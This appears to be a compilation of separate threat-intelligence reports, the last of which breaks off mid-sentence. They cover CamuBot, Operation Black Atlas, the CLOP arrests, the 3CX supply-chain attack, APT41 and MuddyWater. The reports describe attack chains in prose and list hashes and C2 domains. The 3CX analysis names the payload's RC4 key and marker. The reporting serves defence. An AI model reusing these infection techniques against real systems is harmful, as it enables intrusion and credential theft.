# CamuBot: New Financial Malware Targets Brazilian Banking Customers ## Overview CamuBot is a new malware that targets corporate clients of Brazilian banks. It camouflages itself as a security module required by banks. Emerging in Brazil in August 2018, it appears to be part of targeted attacks against users of commercial banks. According to research from IBM X-Force, the authors of this malware are focusing on companies and public sector organizations, employing a mix of social engineering and malware tactics to bypass authentication and security controls. ## Characteristics Unlike other malware in Brazil, CamuBot is a defined new code. It is very visible, using bank logos and mimicking the appearance of internet banking applications to gain the victim's trust. This leads victims to install it without realizing they are executing an installation for a Trojan horse. CamuBot is more sophisticated than typical remote attack malware used in Brazil, resembling tactics used by Eastern European malware like TrickBot, Dridex, or QakBot. ## Fraud Methodology CamuBot's fraud method combines elements designed to lure victims into installing the malware and unknowingly authorizing fraudulent transactions. The operators start with basic reconnaissance to identify businesses banking with a specific financial institution. They then call individuals likely to have access to the business's bank account credentials, posing as bank employees and instructing them to visit a URL to check if their security module is up to date. When the validity check fails, they trick the victim into installing a "new" security module. Victims are advised to close all running programs and run the installation with a Windows administrator profile. A fake application featuring the bank's logos is downloaded, while CamuBot is executed in the background. The name of the file and the download URL change with each attack. ## Installation Process As part of its infection routine, CamuBot writes two files to the `%ProgramData%` Windows folder to establish a proxy module. The executable's name is not static and changes with each attack. It also adds itself to the firewall's rules to appear trusted and does the same for antivirus programs. To communicate with the infected device, CamuBot establishes a Secure Shell (SSH)-based SOCKS proxy. The SSH module's dynamic link library (DLL) is a free tool obtained via GitHub. The proxy module is loaded, establishing port forwarding, allowing attackers to direct their traffic through the infected machine and use the victim's IP address when accessing the compromised bank account. After installation, a pop-up screen redirects the victim to a phishing site that simulates the bank's online banking portal, prompting them to log in and inadvertently send their credentials to the attacker. ## Biometric Authentication Vulnerability In cases where CamuBot operators encounter a strong authentication device connected to the infected machine, the malware can fetch and install a driver for that device. The victim is then asked to enable remote sharing. Trusting they are speaking to a bank representative, the victim may authorize access, unknowingly allowing the attacker to intercept one-time passwords generated for authentication. With the one-time code, criminals can attempt fraudulent transactions, making the session appear legitimate to the bank. A concerning possibility is that the device driver deployed by CamuBot may resemble other devices used for biometric authentication, potentially compromising the biometric authentication process if remote sharing is authorized. ## Distribution and Targets CamuBot's distribution is personalized. The operators target businesses in Brazil, likely gathering information from local phone books, search engines, or professional social networks to reach individuals with access to business bank account credentials. Currently, CamuBot targets business account holders in Brazil, and while it has not been observed in other countries, this may change over time. ## CamuBot Samples Observed - 9eab7ea297ea71057691c09b485d646f - a000fe90363517e0fc4c8d02f7830825 - 684AAA16C9B54E4645C8B5778DB7562F - CD27C9FC659B50776E3BD208A42F1E3F - 7D50411C9621F1AD00996C8CE0F1AC20 Limor Kessem Executive Security Advisor, IBM
# Operation Black Atlas, Part 2: Tools and Malware Used and How to Detect Them Posted on: December 18, 2015 Author: Erika Mendoza and Jay Yaneza (Threats Analysts) This is the second part of our two-part blog series on Operation Black Atlas. The first blog entry is entitled, "Operation Black Atlas Endangers In-Store Card Payments and SMBs Worldwide; Switches between BlackPOS and Other Tools." Operation Black Atlas has already spread to a multi-state healthcare provider, dental clinics, a machine manufacturer, a technology company focusing on insurance services, a gas station that has a multi-state presence, and a beauty supply shop. It continues to spread across small and medium-sized businesses globally, using the modular Gorynych/Diamond Fox botnet to exfiltrate stolen data. ## Initial Compromise via Pen Testing Tools The operation uses a variety of penetration testing tools that are available online to probe and penetrate their target’s environment. The first set of tools is for scanning and creating a test plan, often using brute-force or dictionary attacks to break passwords. The second set of tools is for executing the plan, mainly targeting remote access services, like the VNC Viewer, the remote desktop protocol (RDP), and the built-in Windows Remote Desktop Connection (RDC). All that stands between the organization and the attacker is a weak password. It is harder to determine lateral movement once user credentials are stolen and used, because the tools used would not be considered malicious. Network defenders must enforce stricter policies on password creation and maintenance or deploy password manager software. They can also configure breach detection systems to log activities like port or vulnerability scanning or brute-force attempts for inspection. ## BITS and Pieces of POS and Spying Threats Once the cybercriminals have scoped the network, they will then introduce PoS threats. They do this by abusing a legitimate function, the Windows Background Intelligent Transfer Service (BITS) or bitsadmin.exe, which can be used to transfer files to and from Microsoft and is typically used to download updates to systems. It can easily bypass firewalls and has long been used by malware to sneak in malicious downloads. In the case of Black Atlas, cybercriminals use BITS to download NewPOSThings, a PoS malware family notable for its RAM scraper, keylogger, keep-alive reporting, and data transfer routines. The operation can also load a variant of Neutrino or Kasidet, which has PoS card-scraping functionality. We also saw BlackPOS, CenterPOS, Project Hook, and PwnPOS being used in cases related to the operation. All these PoS threats are available on the cybercriminals’ servers. As such, IT administrators should stay up to date on known and latest PoS malware. We have provided a complete list of indicators of compromise (IOCs) that can betray the presence of these threats in the Recommendations section below. ## Gorynych Rigged for BlackPOS Functions There’s a new player in the card theft game that changes it altogether: Gorynych or the Diamond Fox botnet malware. BKDR_GORYNYCH may not technically be considered a PoS malware, as it is not entirely designed for PoS systems and is also being used outside of the Black Atlas operation. However, cybercriminals running Black Atlas have built a copy that can specifically look for the output file of the BlackPoS malware, which harvested the credit card data from the targets in the first place. The fact that the images in Gorynych’s control panel were named “Kartoxa,” which also refers to BlackPoS, further proves the link between the two malware and the operation. Aside from the PoS plugin, other modules usually downloaded from a subdirectory in the C&C server make up this malware’s entirety. These include plugins for getting screenshots, passwords, mails, and more. Without the plugins, Gorynych routines mostly focus on anti-analysis, information theft, and installations. In the Diamond Fox builder, the keylogger and PoS grabber functionalities are disabled by default. However, with Operation Black Atlas, these options were turned on, which proves that cybercriminals running this are intentionally targeting PoS systems. ## Recommendations Every network has its own nuances and patterns. As such, applying a single PoS strategy and hoping for the best is out of the question. Our prior research on PoS threats showed us that the best way to handle them is by evaluating which best-known strategies and defensive technologies can best enhance the existing network environment. Trend Micro is monitoring this ongoing activity and will make follow-up reports on this if necessary. Additional technical details can be found in the Technical Brief. The indicators of compromise are uploaded in the Black Atlas IOC document. Network segmentation and isolation of cardholder data environment from other networks should be standard for organizations of all sizes. For large organizations, it is important to eliminate unnecessary data and monitor what’s left. It is also best to ensure that essential controls are running via regular security checks. IT admins need to monitor and mine event logs. Meanwhile, smaller organizations should implement a firewall or ACL on remote access services and change default credentials of PoS systems and other internet-facing devices. They should also ensure that third-party vendors handling the items mentioned have efficiently done them. However, other essential controls on passwords and network/system security and monitoring of logs used by larger organizations can also be applied. No matter what the size of the organization, what’s important is to evaluate your threat landscape to prioritize your treatment strategy. To enhance the network’s security posture on point-of-sale systems, IT admins can read about 26 defensive technologies and strategies outlined in our paper, "Defending Against PoS RAM Scrapers: Current Strategies and Next-Gen Technologies," as well as our write-up on "Protecting Point of Sales Systems from PoS Malware." To stop breaches on point-of-sale systems (or any other PoS environment, for that matter), Trend Micro™ Custom Defense™ employs a family of solutions that can detect, analyze, and respond to advanced malware and other attack techniques. Endpoint Application Control can reduce attack exposure ensuring that only updates associated with whitelisted applications can be installed, helping you safeguard your data and machines against unauthorized access and user error. **Tags:** Targeted Attack, botnet, POS, BlackPOS, Operation Black Atlas, gorynych
# Ukrainian Police Nab Six Tied to CLOP Ransomware Authorities in Ukraine this week charged six people alleged to be part of the CLOP ransomware group, a cybercriminal gang said to have extorted more than half a billion dollars from victims. Some of CLOP’s victims this year alone include Stanford University Medical School, the University of California, and University of Maryland. According to a statement and videos released today, the Ukrainian Cyber Police charged six defendants with various computer crimes linked to the CLOP gang and conducted 21 searches throughout the Kyiv region. First debuting in early 2019, CLOP is one of several ransomware groups that hack into organizations, launch ransomware that encrypts files and servers, and then demand an extortion payment in return for a digital key needed to unlock access. CLOP has been especially busy over the past six months exploiting four different zero-day vulnerabilities in File Transfer Appliance (FTA), a file sharing product made by California-based Accellion. The CLOP gang seized on those flaws to deploy ransomware to a significant number of Accellion’s FTA customers, including U.S. grocery chain Krogers, the law firm Jones Day, security firm Qualys, and the Singaporean telecom giant Singtel. Last year, CLOP adopted the practice of attempting to extract a second ransom demand from victims in exchange for a promise not to publish or sell any stolen data. Terabytes of documents and files stolen from victim organizations that have not paid a data ransom are now available for download from CLOP’s deep web site, including Stanford, UCLA, and the University of Maryland. It’s not clear how much this law enforcement operation by Ukrainian authorities will affect the overall operations of the CLOP group. Cybersecurity intelligence firm Intel 471 says the law enforcement raids in Ukraine were limited to the cash-out and money laundering side of CLOP’s business only. “We do not believe that any core actors behind CLOP were apprehended, due to the fact that they are probably living in Russia,” Intel 471 concluded. “The overall impact to CLOP is expected to be minor although this law enforcement attention may result in the CLOP brand getting abandoned as we’ve recently seen with other ransomware groups like DarkSide and Babuk.” While CLOP as a moneymaking collective is a fairly young organization, security experts say CLOP members hail from a group of Threat Actors (TA) known as “TA505,” which MITRE‘s ATT&CK database says is a financially motivated cybercrime group that has been active since at least 2014. “This group is known for frequently changing malware and driving global trends in criminal malware distribution,” MITRE assessed.
# A Comprehensive Analysis of the 3CX Attack **InfoStealer Deployed in a Massive Supply Chain Attack** An ongoing supply chain attack has been reported, targeting customers of 3CX, a VoIP IPBX software development company. This attack has been attributed to North Korean Threat Actors (TAs). Currently, the 3CX DesktopApp can be accessed on various platforms, including Windows, macOS, Linux, and mobile. However, reports have indicated that the ongoing activity related to the supply chain attack has been detected on both Windows and macOS operating systems. The attack involves a Trojanized version of the 3CX, a Voice Over Internet Protocol (VOIP) desktop client, which has been digitally signed. 3CX’s Phone System is utilized by over 600,000 companies globally and has over 12 million daily users. The highlights of the incident are as follows: - On March 29, a significant number of EDR providers and antivirus solutions began to identify and signal a warning for the legitimate 3CXDesktopApp.exe binary, which was signed. - This binary had initiated an update procedure that ultimately led to malicious activity and communication with Command-and-Control servers. - The 3CX download that was accessible on the official public website was infected with malware. - Systems that had already been installed would undergo updates that would ultimately result in the download of this malware. - The attack involves a multi-stage process that starts with the 3CX desktop application. - The process of retrieving malicious payloads from GitHub involves a delay of 7 days before the download takes place. This delay could be an attempt to evade detection by security systems monitoring suspicious activities. As per reports, the last stage of the attack involves stealing information. This malware can gather system data and take control of data and login credentials stored in user profiles on various web browsers, including Chrome, Edge, Brave, and Firefox. Both the Windows and macOS installers for 3CX have been impacted. As per researchers, the evidence from GitHub indicates that the infrastructure utilized by the Windows variant was activated on December 7, 2022. Additionally, the domains and web infrastructure utilized in the attacks were registered as early as November 2022. The 3CX Phone Management System can be implemented on-premises. Upon further investigation, we found that over 240,000 publicly exposed instances of this application. We also came across a Reddit post where a user reported suspicious activity that occurred after updating the 3CX desktop on March 24, 2023. According to the user, the 3cxdesktopapp.exe program accessed browser caches, as revealed by EDR file history data. According to 3CX, the recent attack was a result of infected bundled libraries that were compiled into the Windows Electron App through GIT. The vendor has also stated, “Electron Windows App shipped in Update 7, version numbers 18.12.407 & 18.12.416, includes a security issue. Anti-Virus vendors have flagged the executable 3CXDesktopApp.exe and in many cases uninstalled it. Electron Mac App version numbers 18.11.1213, 18.12.402, 18.12.407 & 18.12.416 are also affected.” The .msi file, when executed, drops two malicious files – “ffmpeg.dll” and “d3dcompiler_47.dll” – in the location C:\Users[user_name]\AppData\Local\Programs\3CXDesktopApp\app. The infection begins when the benign file “3CXDesktopApp.exe” loads “ffmpeg.dll”. Then, “ffmpeg.dll” decrypts the encrypted code from “d3dcompiler_47.dll”, which seems to be a shellcode. This shellcode loads another DLL file that tries to access the IconStorages GitHub page to find an .ico file containing the encrypted Command-and-Control (C&C) server. After locating the C&C server, the backdoor establishes a connection to retrieve the potential final payload. **Technical Analysis** The MSI package installer that has been compromised has a digital signature, and its appearance resembles that of a legitimate file. Upon installation, the MSI package installer drops files such as “3CXDesktopApp.exe”, “ffmpeg.dll”, and “d3dcompiler_47.dll” in the %LocalAppData% directory of the system. These files are associated with malicious behavior and are accompanied by other supporting files. After installation, the “3CXDesktopApp.exe” file is executed, which is usually benign but can be utilized to load the malicious DLL. The “3CXDesktopApp.exe” loads the “ffmpeg.dll” file, which is a malicious DLL that has been specifically designed to read, load, and execute harmful shellcode from the “d3dcompiler_47.dll” file. When executed, the “ffmpeg.dll” creates a new event, “AVMonitorRefreshEvent“, identifies the current file path, and searches for the next file in the sequence, which is “d3dcompiler_47.dll”. Once identified, the “ffmpeg.dll” loads the “d3dcompiler_47.dll” file into memory. Although the loaded “d3dcompiler_47.dll” is signed by Microsoft, it has an encrypted payload embedded within it. The “ffmpeg.dll” file now identifies the encrypted payload indicated by a particular marker, ‘0xCEFAEDFE’. Once the encrypted payload has been identified, the “ffmpeg.dll” proceeds to decrypt the RC4 stream using the key “3jB(2bsG#@c7“. This decryption process results in a shellcode which is then executed by the DLL file. After decryption, the “ffmpeg.dll” file employs the VirtualProtect() function to alter the memory access permissions of the shellcode. Once the permissions have been changed, the malware proceeds to execute the payload. An embedded DLL file is present within the decrypted shellcode, which appears to be functioning as a loader for another PE file. After being loaded and executed, the embedded DLL file in the shellcode initiates a sleep state of 7 days before trying to establish communication with Command and Control (C&C) servers. Subsequently, the DLL will attempt to access a GitHub repository that contains an .ICO file. This ICO file comprises the encrypted C&C strings, which are encoded using Base64 and encrypted with AES & GCM encryption. The Base64 contents are located at the end of the ICO image file. Upon execution, the DLL file decrypts the C&C URLs from the ICO files for downloading additional payloads from the remote server. To obtain distinct C&C URLs, the malware randomly selects an ICO file from a GitHub repository. Unfortunately, we were unable to verify the specific characteristics of these payloads as the corresponding GitHub repository was taken down prior to this analysis. Researchers discovered that the final stage of malware is a stealer, which can extract system information and steal sensitive information from popular web browsers, such as Chrome, Edge, Brave, and Firefox. **Conclusion** The potential damage caused by the 3CXDesktopApp supply chain attack is significant, including the theft of sensitive user data. Organizations affected by this attack should immediately take steps to prevent it from causing widespread harm. The current investigation suggests that the threat actor behind this attack is skilled and persistent. The consequences of such an attack, such as financial loss, reputational impact, and the loss of customer trust, are severe. It is crucial that organizations remain vigilant and take proactive measures to secure their supply chains to prevent similar attacks in the future. **Our Recommendations** We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: - Thoroughly investigate all systems to determine the scope and extent of the attack, including identifying all affected systems and data. - Conduct regular security audits of your supply chain to ensure that all third-party software and components are trustworthy and secure. - Monitor your network regularly for any suspicious activity or behavior indicating a security breach, such as unauthorized access attempts or data exfiltration. - Stay up-to-date with the latest threat intelligence and security news to stay informed about emerging threats and vulnerabilities. This will help to mitigate risks proactively and respond quickly in the event of an attack. - Using a reputed antivirus and internet security software package is recommended on connected devices, including PCs, laptops, and mobile devices. - Block URLs that could be leveraged to spread malware. **MITRE ATT&CK® Techniques** | Tactic | Technique ID | Technique Name | |----------------------|---------------------|-----------------------------------------| | Initial Access | T1195 | Supply Chain Compromise | | Execution | T1204.002 | User Execution: Malicious File | | Defense | T1140 | Deobfuscate/Decode Files or Information| | Evasion | T1027 | Obfuscated Files or Information | | | T1574.002 | Hijack Execution Flow: DLL Side-Loading| | | T1497.003 | Evasion: Time-Based Evasion | | Credential Access | T1555 | Credentials from Password Stores | | Access | T1539 | Steal Web Session Cookie | | Command and Control | T1071 | Application Layer Protocol | **Indicators of Compromise (IOCs)** | Indicators | Indicator | Description | |---------------------------------------------------------------------------|----------------|-------------| | f3d4144860ca10ba60f7ef4d176cc736 | MD5 | 3CX | | bea77d1e59cf18dce22ad9a2fad52948fd7a9efa | SHA1 | Windows | | aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 | SHA256 | Installer | | 0eeb1c0133eb4d571178b2d9d14ce3e9 | MD5 | 3CX | | bfecb8ce89a312d2ef4afc64a63847ae11c6f69e | SHA1 | Windows | | 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 | SHA256 | Installer | | 5729fb29e3a7a90d2528e3357bd15a4b | MD5 | 3CX macOS | | 19f4036f5cd91c5fc411afc4359e32f90caddaac | SHA1 | Installer File | | 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 | SHA256 | | | d5101c3b86d973a848ab7ed79cd11e5a | MD5 | 3CX macOS | | 3dc840d32ce86cebf657b17cef62814646ba8e98 | SHA1 | Installer File | | e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec | SHA256 | | | 82187ad3f0c6c225e2fba0c867280cc9 | MD5 | Malicious | | 20d554a80d759c50d6537dd7097fed84dd258b3e | SHA1 | DLL | | 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 | SHA256 | | | 74bc2d0b6680faa1a5a76b27e5479cbc | MD5 | Malicious | | bf939c9c261d27ee7bb92325cc588624fca75429 | SHA1 | DLL | | 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 | SHA256 | | | cad1120d91b812acafef7175f949dd1b09c6c21a | SHA1 | Stealer Payload | | akamaicontainer[.]com | URL | Malicious | | akamaitechcloudservices[.]com | URL | | | azuredeploystore[.]com | URL | | | azureonlinecloud[.]com | URL | | | azureonlinestorage[.]com | URL | | | dunamistrd[.]com | URL | | | glcloudservice[.]com | URL | | | journalide[.]org | URL | | | msedgepackageinfo[.]com | URL | | | msstorageazure[.]com | URL | | | msstorageboxes[.]com | URL | | | officeaddons[.]com | URL | | | officestoragebox[.]com | URL | | | pbxcloudeservices[.]com | URL | | | pbxphonenetwork[.]com | URL | | | pbxsources[.]com | URL | | | qwepoi123098[.]com | URL | | | sbmsa[.]wiki | URL | | | sourceslabs[.]com | URL | | | visualstudiofactory[.]com | URL | | | zacharryblogs[.]com | URL | | | github[.]com/IconStorages/images | URL | | | azureonlinestorage.com | URL | | | convieneonline[.]com | URL | | | Soyoungjun[.]com | URL | | | 3bb80e9fbeac5383b313084775c80d11 | MD5 | Malicious | | 9c943baad621654cc0a0495262b6175276a0a9fb | SHA1 | ICO File | | 210c9882eba94198274ebc787fe8c88311af24932832a7fe1f1ca0261f815c3d | SHA256 | | | 644f63f869e2b0a9e5d1aa32823956cc | MD5 | Malicious | | 96910a3dbc194a7bf9a452afe8a35eceb904b6e4 | SHA1 | ICO File | | a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c | SHA256 | | | 8875568b90bb03ff54d63d3bd1187063 | MD5 | Malicious | | 0d890267ec8d6d2aaf43eaca727c1fbba6acd16e | SHA1 | ICO File | | d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 | SHA256 | | | 1640f48cc05c58f4cc077503a5361cea | MD5 | Malicious | | b1dee3ebcffad01a51ff31ff495fef1d40fdfaa0 | SHA1 | ICO File | | d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a | SHA256 | | | 71d5b9bfd6bf37ff5aa9752b2b6d5af1 | MD5 | Malicious | | 64ab912d0af35c01355430d85dd4181f25e88838 | SHA1 | ICO File | | 4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f | SHA256 | | | da667174c2d145a4d9b3b39387fbd7dd | MD5 | Malicious | | 8377fb40c76aa3ba3efae3d284fa51aa7748e010 | SHA1 | ICO File | | 8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d | SHA256 | | | 69455ba3bfd2d8e3ade5081368934945 | MD5 | Malicious | | 11ae67704ea0b930b2cc966e6d07f8b898f1a7d2 | SHA1 | ICO File | | f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3 | SHA256 | | | 848bc8e5917db1f735029fc51952002d | MD5 | Malicious | | ffccc3a29d1582989430e9b6c6d2bff1e3a3bb14 | SHA1 | ICO File | | 2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f | SHA256 | | | aafa584176d9aec7912b4bc3476acc1a | MD5 | Malicious | | 89827af650640c7042077be64dc643230d1f7482 | SHA1 | ICO File | | 268d4e399dbbb42ee1cd64d0da72c57214ac987efbb509c46cc57ea6b214beca | SHA256 | | | 4d112603466ac9c57a669445374c1fb5 | MD5 | Malicious | | b5de30a83084d6f27d902b96dd12e15c77d1f90b | SHA1 | ICO File | | c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd | SHA256 | | | d232fa2eabc03123517a78936a18448b | MD5 | Malicious | | 3992dbe9e0b23e0d4ca487faffeb004bcfe9ecc8 | SHA1 | ICO File | | c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 | SHA256 | | | aff5911f6c211cde147a0d6aa3a7a423 | MD5 | Malicious | | caa77bcd0a1a6629ba1f3ce8d1fc5451d83d0352 | SHA1 | ICO File | | f1bf4078141d7ccb4f82e3f4f1c3571ee6dd79b5335eb0e0464f877e6e6e3182 | SHA256 | | | 4942dc3c0e9808544b068854cf1351e0 | MD5 | Malicious | | 57a9f3d5d1592a0769886493f566930d8f32a0fc | SHA1 | ICO File | | 2487b4e3c950d56fb15316245b3c51fbd70717838f6f82f32db2efcc4d9da6de | SHA256 | | | 3eb70db2f6bffbe29970f759747e07bd | MD5 | Malicious | | f533bea1c0558f73f6a3930343c16945fb75b20f | SHA1 | ICO File | | e059c8c8b01d6f3af32257fc2b6fe188d5f4359c308b3684b1e0db2071c3425c | SHA256 | | | 14b79d2f81d1c0a9c3769f7bb83e443d | MD5 | Malicious | | 31d775ab577f3cc88991d90e9ae58501dbe1f0da | SHA1 | ICO File | | d0f1984b4fe896d0024533510ce22d71e05b20bad74d53fae158dc752a65782e | SHA256 | | **Yara Rules** Reference: [3CX Blog](https://www.3cx.com/blog/news/desktopapp-security-alert/)
# APT41: A Case Study As you know, we have been dedicated for some time now to revealing the truth behind state-sponsored, managed or directed intrusion sets. We have learnt more about the way in which the Chinese state conducts their criminal cyber activity and how it has evolved over the years. Chinese APT groups are aggressive, persistent, and garner a large network of criminal hackers. The Chinese state uses this model to promote their agenda and provide protection to the common cybercriminal. This model is fallible, which allows us to promote the truth behind these intrusion sets. Nevertheless, the CCP continues to outwardly lie to protect their international and domestic reputation. They do this whilst simultaneously supporting cybercrime and allowing huge networks to profit from its illegal activities. The Chinese state is asserting do what I say, not what I do. ## APT41: What we know APT41 is a difficult group to pin down/classify/group. It is a group with many names: WICKED PANDA, DOUBLE DRAGON, WICKED SPIDER, WINNTI GROUP; the list appears to go on. Early intrusions by APT41 traditionally focused on the international gaming sector, reusing stolen code-signing certificates for malware distribution. Indicted APT41 actors registered gaming domains which later went on to serve as a means to fraudulently obtain gaming currency (through the Malaysian company SEA Gamer) and establish backdoors into international gaming companies to facilitate the spread of Chinese intrusions. Their focus on the gaming industry became a tangible lead against the group, with a heavy focus in countries such as Malaysia, Indonesia, and Thailand. Timing, as always, is crucial. This early APT41 activity focused on the gaming industry at a time when the Chinese state was mandating growth in the gaming sector. Over the past few years, APT41 has evolved. No longer is the focus purely on the gaming industry. Rather, we have seen evidence of APT41 creating front companies in the computer and technology sector, claiming to employ pen testers and software developers, which supports the MSS model we have come to know well. It serves their aim of continuing to use highly aggressive techniques to support China’s ambitious development targets alongside State Security Departments. As FireEye neatly evidences, APT41 juggles their commitments to the Chinese state in the day (using the 9-9-6 model [9am-9pm, 6 days a week]) whilst hacking for financial gain in the evening. In some cases, they use state-level malware across both activity streams. APT41 stands out due to its prolific use of non-public malware outside of working hours. They also share this malware with other cyber hackers in China, who work to various regional State Security Departments. ## China’s state priorities and subsequent APT41 victims The culmination of APT41’s targets points to clear tasking from the Chinese state rather than a criminal entity. It serves to highlight the state’s backing of groups such as APT41 and the degree of coordination behind the scenes. For example, APT41’s exfiltration of intelligence from vaccine development and healthcare institutes in order to advance the CCP’s knowledge and gain an illegal, competitive edge. APT41 has taken advantage of the Coronavirus pandemic by hacking COVID-19 research and stealing IP in order to fast-track the Chinese state’s somewhat questionable vaccine supply. Some readers will have noted APT41’s vast victims in the indictment. One of interest to us was NGO16: a non-profit organization dedicated to alleviating worldwide poverty. APT41 compromised this organization and put the livelihood of fellow humans at risk. It is increasingly clear the morals of the criminals behind this group are non-existent. Chinese APTs don’t simply target international companies. They also target their own citizens using malware from big data capture to allow direct oversight of text message logs of high-profile Chinese targets. APT41 has systematically targeted hotels prior to senior officials staying in order to retrieve personal and identifiable information. This sort of direct, timely, and specific targeting adds to the body of evidence that the Chinese state outsources at least part of their intrusive surveillance program to criminals within its borders. It appears US indictments are not having the same effect as they used to. Back in February, Mandiant reported on APT41 re-compromising US government victims and using niche animal healthcare apps such as USAHERDS to gain access to intelligence to serve the CCP data machine. Despite five of the actors being doxxed by the US in 2020, APT41 TTPs have continued to pop up on our radar. Their interest recently? Universities. ## Recent Targeting And not just any universities. Universities in locations the CCP are concerned about: Taiwan and Hong Kong. As already noted in the OSINT community, RouterGod is a known, custom malware tool used by Wicked Panda (APT41). We have observed sustained connections to RouterGod command-and-control servers from multiple IP addresses associated with Hong Kong universities, including the Hong Kong University of Science and Technology and Education Universities. As recently as March 2022, APT41 was using a VPS at a Romania-registered IP address 91.238.50.114 to host “watson.misecure.com.” We have seen evidence that they used this domain to compromise National Taiwan University databases using the “xp_cmdshell” (T1059.003) tool (to execute commands for netstat, process list, and network configuration) and successfully exfiltrated personally identifiable data on staff, students, and alumni of the university. It appears nothing is off limits to this group. Any and all data is up for grabs. ## Summary We know the CCP uses criminal hackers to do their dirty work. Due to their lack of skill at evading detection, we also have the names of five individuals linked to Chinese intrusion set APT41. The contractor model is no longer a neatly packaged, self-contained concept. The continuation of APTs engaging in dual hatting despite this now being public knowledge speaks to the Chinese state turning a blind eye. Repeated for-profit hacking makes it highly unlikely that APT41 is operating without the state’s awareness. And despite being named and shamed in public indictments, this still does not deter the group’s continued hacking of CCP’s targets – most recently we have reported on this occurring in the education sector, with students, staff, and alumni falling victim and their sensitive data stolen to feed the CCP data machine. APT groups appeal because they are aggressive, dispensable, and ‘distanced’ from the state-run organizations that sit behind them. We will continue to shed light on these cracks within the system; it is only a matter of time before this model becomes untenable. There is a lot of good work going on in this field (e.g., the Hearing on China’s Cyber Capabilities in the US), but we need to do more and keep applying the pressure. This is not just a US problem. The rest of this series will look into who the APT41 indicted actors are, how they are connected, and how this fits into the complex web that is APT41. Stay tuned…
# Operation Quicksand ## MuddyWater’s Offensive Attack Against Israeli Organizations ### October 2020 --- ## Introduction ### Executive Summary During September 2020, we identified a new campaign targeting many prominent Israeli organizations. The campaign was attributed to the Iranian threat actor ‘MuddyWater’ (also known as TEMP.Zagros, Static Kitten, and Seedworm). MuddyWater was previously exposed as a contractor for the IRGC (Islamic Republic Guard Corps). ClearSky and Profero comprehensively researched this campaign. During the campaign, the group attempted to install a variant of the “PowGoop,” a malicious replacement to Google update dll. Based on a PaloAlto report, “PowGoop” is a loader for a variant of Thanos ransomware with destructive capabilities. We assess that the group is attempting to employ destructive attacks (the likes of the NotPetya attack from 2017), disguised as ransomware attacks. Although we didn’t see execution of the destruction in the wild, due to the presence of the destructive capabilities, the attribution to a nation-state sponsored threat actor, and the realization of this vector in the past, a destructive purpose is more likely than a ransomware that is being deployed for financial goals. On September 4th, PaloAlto published a report about this destructive variant of Thanos ransomware without attributing it to any known threat actor. However, the organizations that were targeted in the campaign were state-run organizations in the Middle East and North Africa. The loader of this variant dubbed ‘PowGoop’ is a fake Google Update mechanism and was attributed to MuddyWater based on code similarities with the MoriAgent / PudPoul dll loader. In our analysis, we identified two primary attack vectors: - The first vector entailed sending a malicious decoy document (PDF or Excel) that communicates over OpenSSL with a malicious C2 server and downloads files, which later deploy the “PowGoop” payload. - The second vector involves exploiting CVE-2020-0688 and deploying the same payload via aspx file (WebShell). The attacker will create an internal socket tunneling between compromised machines in the network. The attacker used a modified SSF (Socket) for it. Then, the attacker downloads the PowGoop as well. Recently, Microsoft revealed that MuddyWater had been leveraging the ZeroLogon vulnerability as well (CVE-2020-1472). This is not the first time that Iranian threat actors use wipers as part of their TTPs. The threat actor APT33 used wipers in at least three different attacks, the most notorious of them being the Shamoon attack. In contrast to APT33, MuddyWater is known for their social engineering campaigns. The primary objectives of previous MuddyWater campaigns were espionage and information theft. In ‘Operation Quicksand’ we uncovered the first known instance of a potentially destructive attack executed by MuddyWater, focusing on prominent organizations in Israel and in other countries around the world. We identified a repetitive PDB path in the networks that were researched containing the word ‘Covic’. This may indicate a COVID-19 inspiration and suggests the possible dates in which MuddyWater might have developed the malware. ## Iranian-Related Destructive Campaigns Destructive campaigns were engaged by Iranian threat actors in the past, particularly targeting the Arabian Peninsula. However, destructive attacks of this scale have only been observed once prior to the current event, and the perpetrator was not MuddyWater. In 2012, a threat actor based in Iran used Shamoon wiper in their attacks against Aramco, the oil and gas company from Saudi Arabia. In 2016-2018, two more variants of Shamoon were exposed. These attacks were previously attributed to APT33 (Elfin) by FireEye and McAfee. In 2019-2020, a couple new wipers – ZeroCleare and Dustman, were exposed in two operations against entities in the Arabian Peninsula. Dustman and ZeroCleare were both attributed to APT33 and APT34. In May 2020, Fox News reported on an offensive CNA (Cyber Network Attack) executed by Iran which targeted Israel's Water and Sewage Systems. The Israeli national cyber authority did not confirm that Iran was behind this attack. Despite previous instances of Iranian threat actors using wipers, an attempt to camouflage the wiper as ransomware was not yet reported. ## Attack Vector – Wiper Disguised as Ransomware The ransomware Petya surfaced in 2016, targeting Microsoft Windows-based systems. It was one of the largest documented ransomware attacks. Not long after, a similar ransomware was observed attacking primarily Ukrainian entities, amongst other targets. This malware was designed to resemble ransomware, while its real purpose is to damage the network. Files were encrypted, but the malware was modified so that it could not revert and decrypt the files. The NotPetya attack was attributed to the Sandworm group (also known as Voodoo Bear and Iron Viking) – a threat actor based in Russia. The attack vector in Operation Quicksand is almost identical. According to PaloAlto, the attacker can install ‘Thanos Ransomware’ variant using the PowGoop loader in the compromised asset. Once the (allegedly) ‘Thanos Ransomware’ is installed on the victim’s system, the victim will be presented with a ‘How to decrypt’ message. However, the file will overwrite the MBR. ## Tools Used by MuddyWater in ‘Operation Quicksand’ ### Tools and Offensive Techniques Categorized by Tools and Techniques In ‘Operation Quicksand’, the MuddyWater group used a few malicious files, 